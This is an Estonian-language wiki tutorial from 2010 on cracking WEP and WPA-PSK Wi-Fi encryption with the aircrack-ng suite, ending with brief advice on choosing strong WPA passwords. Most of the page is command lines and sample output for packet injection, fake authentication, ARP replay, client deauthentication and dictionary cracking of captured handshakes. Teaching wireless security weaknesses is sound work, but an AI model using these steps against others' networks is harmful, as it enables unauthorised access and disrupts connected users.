WEP ja WPA kräkkimine

From ICO wiki
Revision as of 17:16, 25 May 2010 by Vkallasm (talk | contribs) (Autor)

WPA/WPA2

Järgmise põlvkonna meetod krüpteerimaks traadita võrke (WiFi) on WPA ehk Wi-Fi Protected Access. Teadagi, pole ükski süsteem perfektne. Kõige lihtsam viis kasutamaks WPA krüpteeringut tundub olevat tema suurim viga ning selleks on Pre-Shared Key (PSK). WPA-PSK lubab administraatoril kindlaks määrata salasõna, mis peab olema teada igale Access Point kasutajale. Access Point on seade, mis lubab traadita võrke kasutavaid vahendeid ühendada võrku kasutades selleks kas WiFi’t, Bluetoothi vms. WPA-PSK kasutades ollakse avatud rünnakutele (offline dictionary attack), kus ründaja loeb pakette ajal, mil keegi ühendab ennast võrku ning kasutades neid pakette on võimalik taastada Pre-Shared Key ehk salasõna. Seda juhul, kui määratud salasõna ei ole liiga pikk. Tüüpiline viga, mida inimesed teevad, kui nad omale salasõna valivad on see, et nad kasutavad lihtsaid sõnu, fraase, mis on lühikesed ja ei sisalda numbreid või sümboleid. Taolised salasõnad on dictionary attack tehnikale maiuspalaks. On olemas palju erinevaid vahendeid ja tööriistu sellise protsessi läbiviimiseks. Üks tõhusamaid minu enda kogemuse põhjal on Aircrack. See on kogumik erinevatest tööriistadest:

Airodump: programm pakettide püüdmiseks

Aireplay: programm pakettide „süstimiseks“

Aircrack: staatiline WEP ja WPA-PSK võtme kräkkija

Airdecap: WEP/WPA püütud failide dekrüptimiseks

Krüpteeritud võrgu häkkimise aeg sõltub liiklusest võrgus (traffic). Mida vähem liiklust, seda rohkem läheb aega andmete kogumiseks ning vastupidi. Sellepärast kasutataksegi Aireplay tööriista. See on vahend liikluse tekitamiseks või genereerimiseks. Aireplay võimaldab suurendada liiklust, mistõttu kiireneb ka kogu kräkkimise protsess. Üks tähtis eripära WPA/WPA2 ja WEP kräkkimise vahel on lähenemisviis kräkkimaks WPA/WPA2 Pre-Shared võtit (Pre-Shared Key). Kui WEP kräkkimisel saab kiirendada protsessi staatiliste meetoditega, siis WPA/WPA2 puhul on ainsaks abiks plain brute force tehnikad ehk nö. toore-jõu tehnikad. See on sellepärast, et võti ei ole staatiline – protsessi kiirendamine ei ole võimalik nii nagu WEP kräkkimisel. Ainus viis info saamiseks on ühendus kliendi ja Access Point vahel (handshake). Handshake toimub, kui klient ühendab võrguga. Kuna salasõna võib olla 8 kuni 63 tähemärki, siis muutub WPA/WPA2 kräkkimine võimatuks, kui salasõna koosneb 63 suvaliselt genereeritud tähemärgist ja sümbolist. Ehk kui salasõna on võimalikult lühike ja ei sisaldada palju numbreid on veel võimalik nimetatud protsess läbi viia. Arvuti suudab testida 50 kuni 300 võimalikku võtit sekundis olenevalt arvutist. Pikkade salasõnade kräkkimine võib aega võtta tunde, päevi isegi aastaid. Lähemalt võib arvutada siit: [1]


WEP

WEP (wired equivalent privacy) on krüpteerimismeetod traadita võrkude kaitseks. Tegemist on väga vana ning algelise kaitsega, mistõttu on seda lihtne lahti kräkkida. WEP’il on kolm seadistust: off ehk kaitse maas, 64-bit ehk nõrk kaitse ning 128-bit ehk natukene tugevam kaitse. Kui WEP on off staadiumis, siis võib iga suvaline inimene ennast võrku ühendada. Kasutades kas 64-bit või 128-bit kaitset on teoreetiliselt võrk siiski kaitstud, kuid reaalselt ei ole vahet, kas kasutatakse 64-bit või 128-bit kaitset, sest mõlemad võtmed on ühtemoodi kräkitavad. WEP’i kräkkimisprotsess baseerub IV’del ehk Initalization Vectoritel. Kogudes piisavalt palju IV’si on WEP kräkkimine vaid aja küsimus.


Näide WEP kräkkimise protsessist

Eeldused:

• Õiged driverid, et viia läbi „süstimine“ (injection)

• Ollakse füüsiliselt piisavalt lähedale Access Pointile

• Kasutatakse v0.9.1 või suuremat versiooni aircrack-ng’st

• Kasutatakse Linuxit aircrack jaoks

• Võrgus on vähemalt 1 aktiivne klient

Alustamine:

Soovitav on üles märkida järgmised andmed:

• Arvuti MAC aadress, mis jooksutab aircrack-ng'd (näide: 00:0F:B5:88:AC:82)

• BSSID (Access Point MAC aadress (näide: 00:14:6C:7E:40:80)

• ESSID (võrgu nimi) (näide: metsaloomad)

• Access Point’i kanal (näide: 9)

• Wireless interface (näide: ath0)

Lahendus:

Eesmärgiks on püüda kinni võimalikult palju IV’si. Tavaliselt ei genereerita neid IV’si just väga kiiresti normaalse võrguliikluse (network traffic) puhul. Kuna me oleme kannatamatud, siis kasutatakse siinkohal „süstimise“ (injection) tehnikat, et protsessi kiirendada. Selle tehnika puhul saadab Access Point valitud pakette massiliselt uuesti ja uuesti, et oleks võimalik kinni püüda võimalikult palju IV’si võimalikult vähese ajaga.

Sammud selleks:

• Seadistada ennast kindlale Access Point kanalile (näiteks siin 9)

• Testida „süstimise“ suutlikkust Access pointile

• Kasutada aireplay-ng'd vale audentimise läbiviimiseks Access Pointiga

• Panna tööle airodump-ng sellel Access Point kanalil koos BSSID filtriga, kogumaks IV’si

• Kasutada aireplay-ng'd pakettide süstimiseks

• Kasutada aircrack-ng'd kräkkimaks salasõna, kasutades ära kogutud IV’si


Esmalt tuleb avada konsooli aken ning oma wifi kaart panna seisundisse monitor mode. See on seisund, kus kaart kuulab igat paketti. Igat paketti kuulates on võimalik valida välja mõned neist et viia läbi „süstimine“. Kirjutades käsureale airmon-ng stop ath0 peaks tulema taoline vastus:

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Tuleb sulgeda kõik athX. Kui on suletud kõik athX ning kirjutades käsureale iwconfig peaks tulemus olema:

lo        no wireless extensions.

eth0      no wireless extensions.

wifi0     no wireless extensions.

Seejärel seadistame võrgukaardi 9-ndale kanalile käsuga airmon-ng start wifi0 9 ning sisestame uuesti kontrollimiseks iwconfig Tulemus peaks olema taoline:

lo        no wireless extensions.

wifi0     no wireless extensions.

eth0      no wireless extensions.

ath0      IEEE 802.11g  ESSID:""  Nickname:""
       Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
       Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
       Retry:off   RTS thr:off   Fragment thr:off
       Encryption key:off
       Power Management:off
       Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
       Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
       Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Järgnevalt tuleb testida „süstimise“ suutlikkust Access pointile. Selle sammu eesmärgiks on selgitada, kas ollakse piisavalt lähedal Access pointile, et sinna pakette „süstida“. Käsureale tuleb sisestada aireplay-ng -9 -e metsaloomad -a 00:14:6C:7E:40:80 ath0 Vastus peaks välja nägema:

09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
09:23:35  Trying broadcast probe requests...
09:23:35  Injection is working!
09:23:37  Found 1 AP 

09:23:37  Trying directed probe requests...
09:23:37  00:14:6C:7E:40:80 - channel: 9 - 'metsaloomad'
09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
09:23:39  30/30: 100%

Viimane rida näitab, kas ollakse piisavalt lähedal või mitte ning kas on võimalik viia läbi „süstimine“. Järgnevalt püütakse IV’si, kasutades selleks airodump-ng’d. Selleks kirjutatakse uude konsooli aknasse airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0 Kui „süstimine“ õnnestub on mingi aja vältel tulemuseks:

CH  9 ][ Elapsed: 8 mins ][ 2010-03-21 19:25 
                                                                                                             
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                           
00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         metsaloomad                           
                                                                                                           
BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                           
00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782  

Kasutades aireplay-ng’d luuakse võlts audentimine Access Pointiga. Selleks trükitakse uude konsooli aknasse järgmine käsurida aireplay-ng -1 0 -e metsaloomad -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

(variatsioon sellest: aireplay-ng -1 6000 -o 1 -q 10 -e metsaloomad -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0)

Õnnestumise korral on tulemuseks:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

Ebaõnnestumise korral on tulemuseks:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Järgnevalt kasutatakse aireplay-ng’d meetodil, kus on võimalik kuulata ARP requeste, et neid siis tagasi võrku „süstida“. Selleks kirjutatakse uude konsooli aknasse aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0 Tulemus peaks välja nägema selline:

Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets...

Viimaks pannakse tööle aircrack-ng, et saada kätte salasõna kogutud IV’de põhjal. Selleks avatakse uus konsooli aken ning sisestatakse aircrack-ng -b 00:14:6C:7E:40:80 output*.cap Tulemus on järgmine:

                             [00:03:06] Tested 674449 keys (got 96610 IVs)

KB    depth   byte(vote)
 0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0) 
 1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12) 
 2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10) 
 3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15) 

                      KEY FOUND! [ 12:34:56:78:90 ] 
     Probability: 100%


Näide WPA kräkkimise protsessist

Eeldused:

• Õiged driverid, et viia läbi „süstimine“ (injection)

• Ollakse füüsiliselt piisavalt lähedale Access Pointile

• Kasutatakse v0.9.1 või suuremat versiooni aircrack-ng’st

• Kasutatakse Linuxit aircrack jaoks

Alustamine:

Soovitav on üles märkida järgmised andmed:

• Arvuti MAC aadress, mis jooksutab aircrack-ng (näide: 00:0F:B5:88:AC:82)

• Kliendi MAC aadress, kes kasutab WPA/WPA2 (näide: 00:0F:B5:FD:FB:C2)

• BSSID (Access Point MAC aadress (näide: 00:14:6C:7E:40:80)

• ESSID (võrgu nimi) (näide: metsaloomad)

• Access Point’i kanal (näide: 9)

• Wireless interface (näide: ath0)

Lahendus:

Eesmärgiks on püüda kinni WPA/WPA2 audentimise handshake ning seejärel kasutades aircrack-ng'd leida Pre-Shared Key või salasõna.

Sammud selleks:

• Seadistada ennast kindlale Access Point kanalile (näiteks siin 9)

• Panna tööle airodump-ng sellel Access Point kanalil koos BSSID filtriga, kogumaks audentimise käepigistust (handshake)

• Kasutada aireplay-ng kliendi deaudentimiseks

• Kasutada aircrack-ng kräkkimaks salasõna kasutades ära handshake’i

Esmalt tuleb avada konsooli aken ning oma wifi kaart panna seisundisse monitor mode. See on seisund, kus kaart kuulab igat paketti. Igat paketti kuulates on võimalik leida handshake. Kirjutades käsureale airmon-ng peaks tulema vastuseks:

Interface       Chipset         Driver

rausb0          Ralink RT73     rt73
wlan0           Broadcom        b43 - [phy0]
wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0)

Kõigepealt tuleb sulgeda kõik athX. Siinkohal kirjutame käsureale airmon-ng stop ath0 Kui on suletud kõik athX ning kirjutades käsureale iwconfig peaks tulemus olema:

lo        no wireless extensions.

eth0      no wireless extensions.

wifi0     no wireless extensions.

Seejärel seadistame võrgukaardi 9-ndale kanalile käsuga airmon-ng start wifi0 9 ning sisestame uuesti kontrollimiseks iwconfig Tulemus peaks olema midagi sellist:

lo        no wireless extensions.

wifi0     no wireless extensions.

eth0      no wireless extensions.

ath0      IEEE 802.11g  ESSID:""  Nickname:""
       Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
       Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
       Retry:off   RTS thr:off   Fragment thr:off
       Encryption key:off
       Power Management:off
       Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
       Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
       Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Järgmiseks kasutatakse airodump-ng'd handshake kogumiseks (uus konsooli aken): airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

Õnnestunud handshake korral on tulemus:

 CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
                                                                                                              
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                              
 00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  metsaloomad                           
                                                                                                              
 BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                              
 00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116  

Ebaõnnestunud handshake korral on tulemus:

CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 
                                                                                                              
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                              
 00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  metsaloomad                           
                                                                                                              
 BSSID              STATION            PWR  Lost  Packets  Probes      

Siit edasi kasutatakse aireplay-ng'd, et deaudentida klient. See osa on valikuline, sest võib jääda ka ootama, kuni airodump-ng püüab kinni handshake’i. Protsessi kiirendamiseks tuleb uude konsooli aknasse kirjutada aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0 , mille tulemus peaks olema:

11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

Viimaks, kui on püütud kinni handshake proovitakse salasõna kräkkida. Selleks avatakse uus konsooli aken ning trükitakse aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap Kui handshake’i pole püütud on vastuseks:

Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.
No valid WPA handshakes found.

Sellisel juhul tuleb teha uuesti kliendi deaudentimine. Kui handshake püüti kinni, siis tulemus on selline:

Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.

#  BSSID              ESSID                     Encryption
1  00:14:6C:7E:40:80  metsaloomad               WPA (1 handshake)

Choosing first network as target.

Siinkohal proovib aircrack-ng salasõna lahti kräkkida. See võib võtta tunde või isegi päevi. Õnnestumise korral on vastus selline:

   Aircrack-ng 0.8


                [00:00:00] 2 keys tested (37.20 k/s)


                        KEY FOUND! [ 12345678 ]


   Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                    B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 

   Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                    CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                    FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                    2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 

   EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

Selleks, et oma võrku piisavalt hästi kaitsta, tuleks kindlasti eelistada WPA’d WEP’ile. Soovitav on kasutada salasõnas kombinatsioone tähtedest, numbritest ja sümbolitest ning valida võtmed, mis on piisavalt pikad, et muuta nende kräkkimine praktiliselt võimatuks.


Kasutatud kirjandus

http://it.toolbox.com/blogs/unwired/wpa-encryption-cracking-7419

http://it.toolbox.com/blogs/unwired/cracking-wpapsk-6730

http://www.aircrack-ng.org/doku.php?id=cracking_wpa

http://connect-connect.blogspot.com/2007/09/wireless-security-insight-into-wep.html

http://www.aircrack-ng.org/doku.php?id=simple_wep_crack